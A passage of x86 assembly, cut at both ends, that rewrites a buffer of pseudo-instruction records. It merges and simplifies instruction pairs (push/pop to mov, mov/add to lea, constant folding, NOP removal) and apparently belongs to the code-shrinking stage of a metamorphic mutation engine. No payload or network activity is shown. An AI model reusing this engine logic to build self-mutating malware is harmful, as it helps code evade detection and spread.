mov ecx, 0E3h
|
|
jmp @@Single_Next01_GetSigned
|
|
|
|
@@Single_Next03:
|
|
cmp eax, 41h
|
|
jnz @@Single_Next04
|
|
@@Single_Next_CommonMOV:
|
|
mov eax, [edi+1]
|
|
mov ecx, [edi+7]
|
|
and eax, 0FFh
|
|
and ecx, 0FFh
|
|
cmp eax, ecx
|
|
jnz @@Single_End
|
|
@@Single_SetNOP:
|
|
mov eax, 0FFh
|
|
@@Single_SetInstruction:
|
|
mov ecx, [edi]
|
|
and ecx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ecx
|
|
mov [edi], eax
|
|
jmp @@EndCompressed
|
|
|
|
@@Single_Next04:
|
|
cmp eax, 41h+80h
|
|
jz @@Single_Next_CommonMOV
|
|
|
|
@@Single_Next05:
|
|
cmp eax, 28h
|
|
jnz @@Single_Next06
|
|
xor ecx, ecx
|
|
@@Single_Next_NegateImm:
|
|
mov eax, [edi+7]
|
|
neg eax
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX
|
|
|
|
@@Single_Next06:
|
|
cmp eax, 28h+80h
|
|
jnz @@Single_Next07
|
|
mov ecx, 00h+80h
|
|
jmp @@Single_Next_NegateImm
|
|
|
|
@@Single_Next07:
|
|
cmp eax, 2Ch
|
|
jnz @@Single_Next08
|
|
mov ecx, 04h
|
|
jmp @@Single_Next_NegateImm
|
|
|
|
@@Single_Next08:
|
|
cmp eax, 2Ch+80h
|
|
jnz @@Single_Next09
|
|
mov ecx, 04h+80h
|
|
jmp @@Single_Next_NegateImm
|
|
|
|
@@Single_Next09:
|
|
or eax, eax
|
|
jnz @@Single_Next10
|
|
@@Single_Next_CheckNulOP_2:
|
|
mov eax, [edi+7]
|
|
jmp @@Single_Next_CheckNulOP
|
|
|
|
@@Single_Next10:
|
|
cmp eax, 4
|
|
jz @@Single_Next_CheckNulOP_2
|
|
cmp eax, 04h+80h
|
|
jz @@Single_Next_CheckNulOP_2_8b
|
|
cmp eax, 0Ch
|
|
jz @@Single_Next_CheckNulOP_2
|
|
cmp eax, 0Ch+80h
|
|
jz @@Single_Next_CheckNulOP_2_8b
|
|
cmp eax, 24h+80h
|
|
jz @@Single_Next10_Check_s1_8b
|
|
cmp eax, 24h
|
|
jnz @@Single_Next10_
|
|
@@Single_Next10_Check_s1:
|
|
mov eax, [edi+7]
|
|
cmp eax, -1
|
|
jz @@Single_SetNOP
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
mov eax, 44h
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next10_Check_s1_8b:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Single_SetNOP
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
mov eax, 44h+80h
|
|
jmp @@Single_SetInstruction
|
|
|
|
|
|
@@Single_Next10_:
|
|
cmp eax, 00h+80h
|
|
jnz @@Single_Next11
|
|
@@Single_Next_CheckNulOP_2_8b:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
jmp @@Single_Next_CheckNulOP
|
|
|
|
@@Single_Next11:
|
|
cmp eax, 08h
|
|
jz @@Single_Next_CheckNulOP_2
|
|
|
|
@@Single_Next12:
|
|
cmp eax, 08h+80h
|
|
jz @@Single_Next_CheckNulOP_2_8b
|
|
|
|
@@Single_Next13:
|
|
cmp eax, 20h
|
|
jnz @@Single_Next14
|
|
mov eax, [edi+7]
|
|
cmp eax, -1
|
|
jz @@Single_SetNOP
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
mov eax, 40h
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next14:
|
|
cmp eax, 20h+80h
|
|
jnz @@Single_Next15
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Single_SetNOP
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
mov eax, 40h+80h
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next15:
|
|
cmp eax, 31h
|
|
jnz @@Single_Next16
|
|
@@Single_Next_CheckSetTo0:
|
|
mov ecx, 40h
|
|
@@Single_Next_CheckSetTo0_2:
|
|
mov eax, [edi+1]
|
|
mov ebx, [edi+7]
|
|
and eax, 0FFh
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Single_End
|
|
xor eax, eax
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX
|
|
|
|
@@Single_Next16:
|
|
cmp eax, 31h+80h
|
|
jnz @@Single_Next17
|
|
@@Single_Next_CheckSetTo0_8b:
|
|
mov ecx, 40h+80h
|
|
jmp @@Single_Next_CheckSetTo0_2
|
|
|
|
@@Single_Next17:
|
|
cmp eax, 29h
|
|
jz @@Single_Next_CheckSetTo0
|
|
|
|
@@Single_Next18:
|
|
cmp eax, 29h+80h
|
|
jz @@Single_Next_CheckSetTo0_8b
|
|
|
|
@@Single_Next19:
|
|
cmp eax, 09h
|
|
jnz @@Single_Next20
|
|
@@Single_Next_CheckCheckIf0:
|
|
mov ecx, 38h
|
|
jmp @@Single_Next_CheckSetTo0_2
|
|
|
|
@@Single_Next20:
|
|
cmp eax, 09h+80h
|
|
jnz @@Single_Next21
|
|
@@Single_Next_CheckCheckIf0_8b:
|
|
mov ecx, 38h+80h
|
|
jmp @@Single_Next_CheckSetTo0_2
|
|
|
|
@@Single_Next21:
|
|
cmp eax, 21h
|
|
jz @@Single_Next_CheckCheckIf0
|
|
|
|
@@Single_Next22:
|
|
cmp eax, 21h+80h
|
|
jz @@Single_Next_CheckCheckIf0_8b
|
|
|
|
@@Single_Next23:
|
|
cmp eax, 49h
|
|
jz @@Single_Next_CheckCheckIf0
|
|
|
|
@@Single_Next24:
|
|
cmp eax, 49h+80h
|
|
jz @@Single_Next_CheckCheckIf0_8b
|
|
|
|
@@Single_Next25:
|
|
cmp eax, 0FCh
|
|
jnz @@Single_Next26
|
|
mov eax, [edi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jae @@Single_Next26
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_CheckMOV
|
|
mov ecx, [edi+7]
|
|
and ecx, 0FFh
|
|
cmp eax, ecx
|
|
jz @@Single_Next_LEA_CheckADD
|
|
mov eax, [edi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_CheckMOVRegReg
|
|
cmp eax, ecx
|
|
jz @@Single_Next_LEA_CheckADDRegReg2
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFh
|
|
cmp eax, ecx
|
|
jnz @@Single_End
|
|
mov eax, 8
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFFFFF00h
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+2]
|
|
add eax, 40h
|
|
mov [edi+2], eax
|
|
jmp @@EndCompressed
|
|
@@Single_Next_LEA_CheckADDRegReg2:
|
|
mov eax, [edi+3]
|
|
or eax, eax
|
|
jz @@Single_Next_LEA_SetADDRegReg_2
|
|
jmp @@Single_End
|
|
@@Single_Next_LEA_CheckMOV:
|
|
mov eax, [edi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_SetMOV
|
|
mov ecx, [edi+7]
|
|
and ecx, 0FFh
|
|
cmp eax, ecx
|
|
jz @@Single_Next_LEA_SetADD_2
|
|
mov eax, [edi+3]
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetMOVRegReg_2:
|
|
mov eax, [edi+2]
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, 41h
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetADD_2:
|
|
mov ecx, [edi+1]
|
|
and ecx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ecx
|
|
mov [edi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax
|
|
xor eax, eax
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetMOV:
|
|
mov ecx, 40h
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
@@Single_Next_LEA_SetInstructionECX:
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax
|
|
jmp @@Single_SetInstructionECX
|
|
@@Single_Next_LEA_CheckADD:
|
|
mov eax, [edi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jz @@Single_Next_LEA_SetADD
|
|
mov eax, [edi+3]
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetADDRegReg:
|
|
mov eax, [edi+2]
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
@@Single_Next_LEA_SetADDRegReg_2:
|
|
mov eax, 01h
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_SetADD:
|
|
mov eax, [edi+3]
|
|
mov [edi+7], eax
|
|
xor eax, eax
|
|
jmp @@Single_SetInstruction
|
|
@@Single_Next_LEA_CheckMOVRegReg:
|
|
mov eax, [edi+3]
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
@@Single_Next_LEA_SetMOVRegReg:
|
|
mov eax, 41h
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next26:
|
|
cmp eax, 4Fh
|
|
jnz @@Single_Next27
|
|
mov esi, [edi+7]
|
|
mov eax, [edi+1]
|
|
cmp eax, [esi+1]
|
|
jnz @@Single_End
|
|
mov eax, [edi+3]
|
|
cmp eax, [esi+3]
|
|
jz @@Single_SetNOP
|
|
|
|
@@Single_Next27:
|
|
cmp eax, 38h
|
|
jb @@Single_Next28
|
|
cmp eax, 3Ch
|
|
ja @@Single_Next28
|
|
@@Single_Next27_Common:
|
|
mov edx, edi
|
|
@@Single_Next27_GetNextInstr:
|
|
add edx, 10h
|
|
mov eax, [edx+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@Single_SetNOP
|
|
mov eax, [edx]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Single_Next27_GetNextInstr
|
|
cmp eax, 70h
|
|
jb @@Single_SetNOP
|
|
cmp eax, 7Fh
|
|
ja @@Single_SetNOP
|
|
jmp @@Single_End
|
|
|
|
|
|
@@Single_Next28:
|
|
cmp eax, 38h+80h
|
|
jb @@Single_Next29
|
|
cmp eax, 3Ch+80h
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next29:
|
|
cmp eax, 48h
|
|
jb @@Single_Next30
|
|
cmp eax, 4Ch
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next30:
|
|
cmp eax, 48h+80h
|
|
jb @@Single_Next31
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Single_Next27_Common
|
|
|
|
@@Single_Next31:
|
|
|
|
@@Single_End:
|
|
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 80h+00
|
|
jb @@Check_Double
|
|
cmp eax, 80h+4Ch
|
|
ja @@Check_Double
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@GetFrom_RegImm
|
|
cmp eax, 1
|
|
jz @@GetFrom_RegReg
|
|
cmp eax, 2
|
|
jz @@GetFrom_RegMem
|
|
cmp eax, 3
|
|
jnz @@Check_Double
|
|
@@GetFrom_MemReg:
|
|
@@GetFrom_RegMem:
|
|
@@GetFrom_RegReg:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
jmp @@GetFrom_OK
|
|
@@GetFrom_RegImm:
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
@@GetFrom_OK:
|
|
mov [ebp+Register8Bits], eax
|
|
|
|
@@Check_Double:
|
|
mov esi, edi
|
|
call IncreaseEIP
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndNoCompressed
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@EndNoCompressed
|
|
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 68h
|
|
jnz @@Double_Next00
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jz @@Double_Next_PutMOVRegImm
|
|
cmp eax, 59h
|
|
jnz @@EndNoCompressed
|
|
@@Double_Next_PutMOVMemImm:
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 44h
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_PutMOVRegImm:
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, 40h
|
|
@@Double_Next_SetInstruction:
|
|
mov ebx, [esi]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi], eax
|
|
@@Double_Next_SetNOP:
|
|
mov eax, 0FFh
|
|
mov [edi], al
|
|
jmp @@EndCompressed
|
|
|
|
@@Double_Next00:
|
|
cmp eax, 50h
|
|
jnz @@Double_Next01
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jz @@Double_Next_PushPop
|
|
cmp eax, 0FEh
|
|
jz @@Double_Next00_JMPReg
|
|
cmp eax, 59h
|
|
jnz @@Double_End
|
|
mov eax, [esi+1]
|
|
mov ebx, [esi+7]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 43h
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_PushPop:
|
|
mov eax, [edi+1]
|
|
mov [esi+7], eax
|
|
mov eax, 41h
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next00_JMPReg:
|
|
mov eax, 0EDh
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next01:
|
|
cmp eax, 51h
|
|
jnz @@Double_Next02
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jz @@Double_Next01_PushPop
|
|
cmp eax, 59h
|
|
jnz @@Double_End
|
|
@@Double_Next01_MOVMemMem:
|
|
mov [esi+7], edi
|
|
mov [edi+7], esi
|
|
mov eax, 4Fh
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next01_PushPop:
|
|
mov eax, [edi+1]
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+7], eax
|
|
mov eax, 42h
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next02:
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next_NoMem
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0F6h
|
|
jz @@Double_Next02_Check
|
|
|
|
cmp eax, 43h
|
|
jnz @@Double_Next03
|
|
@@Double_Next02_Check:
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 51h
|
|
jz @@Double_Next02_PushReg
|
|
cmp eax, 4Ch
|
|
jbe @@Double_Next_OPRegReg
|
|
cmp eax, 0EAh
|
|
jz @@Double_Next02_CALLMem
|
|
cmp eax, 0EBh
|
|
jnz @@Double_End
|
|
@@Double_Next02_JMPMem:
|
|
mov eax, 0EDh
|
|
@@Double_Next02_XXXMem:
|
|
push eax
|
|
mov eax, [esi+7]
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
pop eax
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next02_CALLMem:
|
|
mov eax, 0ECh
|
|
jmp @@Double_Next02_XXXMem
|
|
@@Double_Next_OPRegReg:
|
|
and eax, 7Fh
|
|
cmp eax, 3Bh
|
|
jz @@Double_Next02_MergeCheck
|
|
cmp eax, 4Bh
|
|
jz @@Double_Next02_MergeCheck
|
|
cmp eax, 4Ah
|
|
jz @@Double_Next02_MergeCheck
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jnz @@Double_End
|
|
mov eax, [esi+7]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+7]
|
|
mov [esi+7], eax
|
|
|
|
|
|
@@Double_Next02_SetOP:
|
|
mov eax, [edi]
|
|
and eax, 0F8h
|
|
add eax, 1
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next02_MergeCheck:
|
|
mov eax, [edi+7]
|
|
mov [esi+1], eax
|
|
jmp @@Double_Next02_SetOP
|
|
@@Double_Next02_PushReg:
|
|
mov eax, [esi+7]
|
|
mov [esi+1], eax
|
|
mov eax, 50h
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next03:
|
|
cmp eax, 0C3h
|
|
jnz @@Double_Next04
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 00h+80h
|
|
jb @@Double_End
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Double_Next_OPRegReg
|
|
jmp @@Double_End
|
|
|
|
@@Double_Next04:
|
|
cmp eax, 44h
|
|
jnz @@Double_Next05
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 51h
|
|
jz @@Double_Next04_PushImm
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next05
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jnz @@Double_Next05
|
|
@@Double_Next_Merge_MOV_OP:
|
|
mov eax, [edi+7]
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
mov eax, [edi]
|
|
and eax, 0F8h
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next04_PushImm:
|
|
mov eax, 68h
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next05:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 44h+80h
|
|
jnz @@Double_Next06
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next06
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next06
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jnz @@Double_Next06
|
|
jmp @@Double_Next_Merge_MOV_OP
|
|
|
|
@@Double_Next06:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 59h
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 42h
|
|
jz @@Double_Next06_POPReg
|
|
cmp eax, 4Fh
|
|
jz @@Double_Next06_POPMem
|
|
cmp eax, 51h
|
|
jz @@Double_Next_SetDoubleNOP
|
|
cmp eax, 0EBh
|
|
jnz @@Double_Next_NoMem
|
|
mov eax, 0FEh
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_POPReg:
|
|
mov eax, [edi+7]
|
|
mov [esi+1], eax
|
|
mov eax, 58h
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_POPMem:
|
|
mov ebx, [edi+7]
|
|
mov eax, [ebx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [ebx+3]
|
|
mov [esi+3], eax
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next_SetDoubleNOP:
|
|
mov eax, 0FFh
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
|
|
@@Double_Next_NoMem:
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jnz @@Double_Next07
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 42h+80h
|
|
jz @@Double_Next06_MaybeMOVZX
|
|
cmp eax, 1
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+7]
|
|
mov [esi+3], eax
|
|
mov eax, [esi+1]
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [esi+1]
|
|
and ebx, 0FFFFFF00h
|
|
add eax, ebx
|
|
mov [esi+1], eax
|
|
@@Double_Next06_SetLEA:
|
|
mov eax, [esi+2]
|
|
and eax, 0FFFFFF00h
|
|
add eax, 8
|
|
mov [esi+2], eax
|
|
mov eax, 0FCh
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next06_MaybeMOVZX:
|
|
mov eax, [esi+7]
|
|
or eax, eax
|
|
jnz @@Double_Next07
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next07
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jz @@Double_Next07
|
|
mov ebx, [edi+2]
|
|
and ebx, 0Fh
|
|
cmp eax, ebx
|
|
jz @@Double_Next07
|
|
mov [esi+7], eax
|
|
mov eax, [edi+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edi+3]
|
|
mov [esi+3], eax
|
|
mov eax, 0F8h
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next07:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 41h
|
|
jnz @@Double_Next08
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jz @@Double_Next07_LEA01
|
|
cmp eax, 1
|
|
jnz @@Double_Next08
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next08
|
|
mov eax, [edi+1]
|
|
mov [esi+2], eax
|
|
xor eax, eax
|
|
mov [esi+3], eax
|
|
mov eax, 0FCh
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next07_LEA01:
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next08
|
|
mov eax, [edi+7]
|
|
mov [esi+3], eax
|
|
jmp @@Double_Next06_SetLEA
|
|
|
|
@@Double_Next08:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@Double_Next09
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 01h
|
|
jnz @@Double_Next09
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+7]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next09
|
|
mov eax, [edi+1]
|
|
mov [esi+2], eax
|
|
mov eax, [esi+7]
|
|
mov [esi+3], eax
|
|
mov eax, [esi+1]
|
|
mov [esi+7], eax
|
|
mov eax, 0FCh
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next09:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 01h
|
|
jnz @@Double_Next10
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@Double_Next10
|
|
mov eax, [esi+7]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next10
|
|
mov eax, [esi+1]
|
|
mov [esi+2], al
|
|
mov eax, [esi+7]
|
|
mov [esi+1], al
|
|
mov eax, [edi+7]
|
|
mov [esi+3], eax
|
|
mov eax, 0FCh
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next10:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next11
|
|
mov al, [edi]
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next11
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@Double_Next10_OPMemImm
|
|
or eax, eax
|
|
jnz @@Double_Next11
|
|
@@Double_Next10_OPRegImm:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next11
|
|
xor ebx, ebx
|
|
@@Double_Next_CalculateOperation:
|
|
push ebx
|
|
mov ecx, [esi+7]
|
|
mov edx, [edi+7]
|
|
@@Double_Next_CalculateOperation_2:
|
|
mov eax, [edi]
|
|
and eax, 78h
|
|
mov ebx, eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
call CalculateOperation
|
|
pop ebx
|
|
cmp eax, 0FEh
|
|
jz @@Double_End
|
|
cmp eax, 0FFh
|
|
jz @@Double_Next_SetNOPAt1st
|
|
mov [esi+7], ecx
|
|
add eax, ebx
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next_SetNOPAt1st:
|
|
mov eax, 0FFh
|
|
mov [esi], al
|
|
jmp @@EndCompressed
|
|
@@Double_Next10_OPMemImm:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next11
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next11
|
|
mov ebx, 4
|
|
jmp @@Double_Next_CalculateOperation
|
|
|
|
@@Double_Next11:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next12
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next12
|
|
mov al, [edi]
|
|
cmp eax, 00h+80h
|
|
jb @@Double_Next12
|
|
cmp eax, 4Ch+80h
|
|
ja @@Double_Next12
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@Double_Next11_OPMemImm_8b
|
|
or eax, eax
|
|
jnz @@Double_Next12
|
|
@@Double_Next11_OPRegImm_8b:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Double_Next12
|
|
mov ebx, 80h
|
|
@@Double_Next11_CalculateOperation_8b:
|
|
push ebx
|
|
xor eax, eax
|
|
mov al, [esi+7]
|
|
mov ecx, eax
|
|
mov al, [edi+7]
|
|
mov edx, eax
|
|
jmp @@Double_Next_CalculateOperation_2
|
|
@@Double_Next11_OPMemImm_8b:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jnz @@Double_Next12
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next12
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next12
|
|
mov ebx, 84h
|
|
jmp @@Double_Next11_CalculateOperation_8b
|
|
|
|
@@Double_Next12:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 0FCh
|
|
jnz @@Double_Next13
|
|
mov al, [edi]
|
|
cmp eax, 01h
|
|
jz @@Double_Next12_MergeLEAADDReg
|
|
or eax, eax
|
|
jnz @@Double_Next13
|
|
@@Double_Next12_MergeLEAADD:
|
|
mov eax, [esi+7]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next13
|
|
mov eax, [edi+7]
|
|
add [esi+3], eax
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_MergeLEAADDReg:
|
|
mov eax, [esi+7]
|
|
cmp al, [edi+7]
|
|
jnz @@Double_Next13
|
|
mov eax, 8
|
|
cmp al, [esi+1]
|
|
jz @@Double_Next12_SetFirstReg
|
|
cmp al, [esi+2]
|
|
jz @@Double_Next12_SetSecondReg
|
|
mov eax, [edi+1]
|
|
cmp al, [esi+2]
|
|
jz @@Double_Next12_AddScalar
|
|
cmp al, [esi+1]
|
|
jnz @@Double_Next13
|
|
mov eax, [esi+2]
|
|
cmp al, 40h
|
|
jae @@Double_Next13
|
|
push eax
|
|
mov eax, [esi+1]
|
|
add eax, 40h
|
|
mov [esi+2], al
|
|
pop eax
|
|
mov [esi+1], al
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_AddScalar:
|
|
mov eax, [esi+2]
|
|
add eax, 40h
|
|
mov [esi+2], al
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_SetFirstReg:
|
|
mov eax, [edi+1]
|
|
mov [esi+1], al
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_SetSecondReg:
|
|
mov eax, [edi+1]
|
|
mov [esi+2], al
|
|
jmp @@Double_Next_SetNOP
|
|
|
|
@@Double_Next13:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 4Fh
|
|
jnz @@Double_Next14
|
|
mov al, [edi]
|
|
cmp eax, 4Fh
|
|
jz @@Double_Next13_MergeMOVs
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next13_NotOPRegMem
|
|
@@Double_Next13_OPRegMem_2:
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jz @@Double_Next13_OPRegMem
|
